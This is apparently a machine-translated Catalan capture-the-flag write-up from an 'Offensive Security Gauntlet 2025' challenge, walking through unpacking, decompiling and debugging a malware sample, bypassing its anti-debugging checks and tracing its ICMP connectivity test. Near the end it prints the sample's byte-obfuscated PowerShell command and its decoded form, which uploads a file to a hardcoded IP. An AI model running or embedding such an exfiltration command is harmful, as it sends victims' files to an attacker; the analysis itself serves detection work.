Guant de seguretat ofensiu 2025 - Volta de forma nul·la
Table of Contents
Volta de forma nul·la
Ens donen les instruccions següents:
Teniu l'encàrrec de dur a terme una anàlisi estàtica profunda de la mostra de programari maliciós recuperat. La teva missió:
- Identifiqueu la funcionalitat bàsica del programari maliciós
- Documenteu els seus mecanismes antidepuració
- Extraieu la seva infraestructura de comandament i control (C2).
- Avaluar la seva persistència i potencial de propagació
Comença
Carregueu a flare VM
Veiem que està ple d'upx
Es pot comprovar mirant l'entropia
Per tenir temps, només fem servir la línia d'ordres upx per desempaquetar el fitxer
Que podem verificar l'èxit visualitzant entropia i capçaleres-

Ara podem desmuntar- Carregar a ghidra
Explorant la primera funció, podem ignorar aquesta de manera segura de moment:
Hem vist aquesta estructura abans. Només està inicialitzant un valor de llavor. Per a què, encara no ho sabem, però probablement alguna funció criptogràfica.
La següent funció és l'inici del programa real-
És una mica llarg, així que només inclouré la part rellevant aquí:
plVar7 = (longlong *)FUN_140004b68();
if ((*plVar7 != 0) && (uVar6 = FUN_14000491c((longlong)plVar7), (char)uVar6 != '\0')) {
_register_thread_local_exe_atexit_callback(*plVar7);
}
uVar8 = _get_initial_narrow_environment();
puVar9 = (undefined8 *)__p___argv();
uVar4 = *puVar9;
puVar10 = (uint *)__p___argc();
uVar11 = (ulonglong)*puVar10;
uVar6 = FUN_1400026d0(uVar11,uVar4,uVar8,in_R9);
iVar3 = (int)uVar6;
bVar2 = FUN_140004cd0();
És important destacar que veiem la configuració de l'entorn: establir moltes variables i després passar-les immediatament a una altra funció (en aquest cas, FUN_1400026d0). Com que es va fer tant "esforç" per fer variables per a aquesta funció, podem suposar que és important. A més, aquesta trucada està a prop del final de la funció d'entrada, de manera que després de cridar aquesta funció, no es fa gaire més.
El canviarem el nom interesting_function per facilitar-ne el record

Aquesta funció és significativament més llarga, així que la repassarem pas a pas
La primera part consisteix en una comprovació de la versió de l'API de Windows:
Aquí, fa algunes comprovacions amb la sortida de FUN_140001540. Essencialment, s'assegura que la màquina actual admet versions específiques de l'API de Windows. Aquí teniu el codi de FUN_140001540- No és molt rellevant, però veureu que és fàcil saber què està fent:
local_128._0_4_ = 0x11c;
local_128._12_4_ = 0;
local_128._16_4_ = 0;
memset(local_128 + 0x14,0,0x100);
local_12 = 0;
local_10._0_2_ = 0;
local_10._2_1_ = '\0';
local_10._3_1_ = '\0';
uVar2 = VerSetConditionMask(0,2,3);
uVar2 = VerSetConditionMask(uVar2,1,3);
dwlConditionMask = VerSetConditionMask(uVar2,0x20,3);
local_128._4_4_ = 6;
local_128._8_4_ = 0;
local_14 = 0;
BVar1 = VerifyVersionInfoW((LPOSVERSIONINFOEXW)local_128,0x23,dwlConditionMask);
return CONCAT71((int7)(CONCAT44(extraout_var,BVar1) >> 8),BVar1 != 0);
Seguint, veiem una comprovació per detectar si hi ha un depurador connectat al procés actual i, si és així, sortir immediatament.

En blau veiem algunes coses més interessants
Això es posa una mica interessant. Adjuntem un depurador al programari maliciós i establim un punt d'interrupció just abans de la comprovació per veure si el nostre depurador està provocant una sortida prematura.
Per fer-ho, fem el mateix procés per abordar l'ASLR que vam fer a l'ombra del robador.
Agafem l'adreça relativa de la instrucció que volem trencar, en el nostre cas 1400026fa. Com que Ghidra estableix la base d'adreces a 0x140000000, podem calcular que el nostre desplaçament d'adreces sigui 0x26fa.
Saltant a x64dbg, observem el valor de compensació a la pestanya del mapa de memòria:
En aquest cas, 00007FF794A50000.
Podem fer algunes matemàtiques ràpides a la barra d'ordres per calcular l'adreça del punt d'interrupció
Vaig a aquesta instrucció i establiré un punt d'interrupció
Veiem que el muntatge d'aquesta línia és test eax eax, que s'alinea amb el que vam veure a Ghidra- Executem el programa fins que arribem al punt d'interrupció:
Ara, la següent línia que veiem a IDA és jne output.<address>- Això correspon al programa que realitza una acció si es detecta un depurador. Per tant, podem avançar instrucció per instrucció per veure com funciona.
Sorprenentment, passa la prova de present del depurador (en aquest cas, passar significa saltar). Podeu veure que es prendrà la instrucció je perquè hi ha una línia vermella que apunta a la ubicació del salt. Bàsicament, vol dir que estem superant la clàusula ExitProcess.
Però, hi ha més sistemes de seguretat en aquest programari maliciós; per tant, farem el mateix procés per a la resta de sistemes de seguretat per veure si algun d'ells s'ha disparat:

De fet, passa força controls-
Ara sembla que crida a una altra funció. Abans d'entrar en aquesta funció, fem les mateixes matemàtiques que vam fer l'última vegada amb el RVA i veiem com és aquesta nova funció 1540 a ghidra
D'acord: sembla benigne, només comproveu la versió, permetem que s'executin
Ara estem davant d'una altra declaració de salt seguida d'una trucada de funció. A veure què passa:

Un cop més, passa la prova i torna a cridar la mateixa funció. Establem un punt d'interrupció després que la funció torni. Vegem com avancen les coses si deixem que executi de nou la funció de verificació de versions.
No va passar res: veurem com revisen aquests condicionals i veurem què passa.
Sembla que va acabar passant aquestes dues comprovacions i ara cridarà una funció nova (woohoo).
Comprovant aquesta funció a Ghidra, veiem que és una funció de sortida (0x3840 contenia un NOP RET).
Per tant, és fracassat una de les comprovacions. Més concretament, una de les comprovacions va saltar no, quan la vam fer volia per saltar (salt = no hi ha depurador, sortida de bypass).
Anem a substituir aquesta instrucció de trucada:
Ara podem continuar:

El següent és una lògica de bucle:
Veiem que una vegada que l'execució arriba a 0x27e4 fa un salt condicional, realitza una operació i després torna a fer les comprovacions. A ghidra, ni tan sols necessitem utilitzar RVA per trobar això: encara té la mateixa funció i l'estructura és molt òbvia:
Com que sabem que aquesta és una sortida segura, només podem NOP això i passar a les línies següents:
Després de configurar alguns valors, tornem a cridar una altra funció. Per motius de temps, aquesta funció simplement va prendre els valors establerts anteriorment (tots els dwords) i els va reorganitzar per formar una adreça IP
Així que aquí hem superat la funció 0x15e0 i veiem que RSP conté una adreça IP. Aquesta és només una tàctica que fan servir els actors d'amenaça per evitar que una IP codificada en dur sigui compatible amb cadena.
Però, ara s'està cridant la funció 0x17b0, així que és de suposar que s'utilitzarà, veurem per a què. Per context, aquí ens trobem a la funció (és fàcil perdre's en el muntatge):

Així que estem a punt de cridar una funció i, depenent del que es retorni, sortirà. Us estalviaré temps i només us mostraré la part interessant d'aquesta funció:
Aquí veiem que es crea un sòcol ICMP i, presumiblement, utilitzant l'adreça IP que vam veure anteriorment. Anem al depurador just abans que s'executi la línia 134
Ara que som aquí, podem utilitzar una eina anomenada fakenet per simular una connexió a Internet (la nostra màquina està fora de línia)
Bàsicament, això simularà que estem en línia, perquè de vegades el programari maliciós comprova si està en línia abans d'executar-ho. Responderà amb escombraries a totes les peticions, però el més important serà una resposta vàlida
És important destacar que això també funciona amb sol·licituds ICMP:
Aquests s'enregistren i es poden comprovar més tard mitjançant wireshark

Després de permetre que el programa executi la següent instrucció, podem consultar els registres i aquí veiem el ping:
I, de fet, s'adreça a la IP que vam veure que s'està construint, i inclou una petita càrrega útil (si mireu enrere a les fotos, podeu veure que també s'està construint).
Ara estem en una mica de conill, així que recordem què estem fent realment.
Estem aquí mateix a l'executable desmuntat:
Acabem d'executar FUN_1400017b0, que era el missatge ICMP. Ara, el programa comprovarà si l'eco ha rebut una resposta i, si no, sortirà. Això verifica la nostra idea que s'assegura que està en línia abans de continuar. Després de falsificar la nostra xarxa, vam arribar amb èxit a la línia en què s'anomena FUN_140001010: establim un punt d'interrupció allà i inspeccionem la pila.
Observeu la finestra inferior esquerra (memoria de pila): tenim text ascii d'una ordre maliciosa de Powershell, que d'un cop d'ull sembla exfiltrar un fitxer a un servidor IP codificat. De fet, també ho podem veure a les nostres transcripcions de Powershell (a partir d'execucions anteriors de programari maliciós durant la depuració):

La IP aquí està codificada, així que descodifiquem-la i reconstruïm l'ordre:

powershell -Command $abc = [System.Text.Encoding]::UTF8.GetString([byte[]](0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x32,0x30,0x33,0x2E,0x30,0x2E,0x31,0x31,0x33,0x2E,0x34,0x32,0x3A,0x38,0x30,0x30,0x30,0x2F)) + 'da.msg'; Invoke-RestMethod -Uri $abc -Method Put -InFile 'C:\\Program Files\Git\mingw64\lib\tcl8.6\msgs\da.msg'
Decoded ->
Invoke-RestMethod -Uri http://203.0.113.42:8000/da_msg -Method Put -InFile 'C:\\Program Files\Git\mingw64\lib\tcl8.6\msgs\da.msg'
Per tant, de fet, és una comanda d'exfiltració, que té sentit. Si volem ser una mica més específics, podem veure una part diferent de la memòria que mostra les extensions de fitxer que intentarà exfiltrar:
Que es configura en aquesta zona del desmuntatge:

Podem veure que aquestes sol·licituds http es fan en temps real mitjançant els nostres registres de fakenet:
Tanmateix, a causa d'una fallada (molt molesta) a la fakenet, els oients HTTP que configura no poden gestionar les sol·licituds HTTP PUT, de manera que totes les sol·licituds retornen una excepció de protocol no compatible. Independentment, la sol·licitud està registrada i la podem veure. És exactament com sospitem: només s'exfiltra fitxers .msg aleatoris, que seem to be related a Microsoft Outlook.
Per descomptat, esperem que això cerqui les altres extensions que hi havia a la memòria (pdf, doc, etc.) i també les exfiltrarà. Per als nostres propòsits, podem aturar-nos aquí. Hem descobert:
- Com s'oculta el programari maliciós
- Què fa el programari maliciós per cercar fitxers
- Com es comprova per veure si s'està depurant
- Com assegura que pot parlar amb el servidor C2
- Quins fitxers busca
- Com s'exfiltra els fitxers
I com a tal, tenim tot el IoC que necessitem per crear un conjunt de regles sòlids per detectar i bloquejar qualsevol activitat en aquest escenari fictici.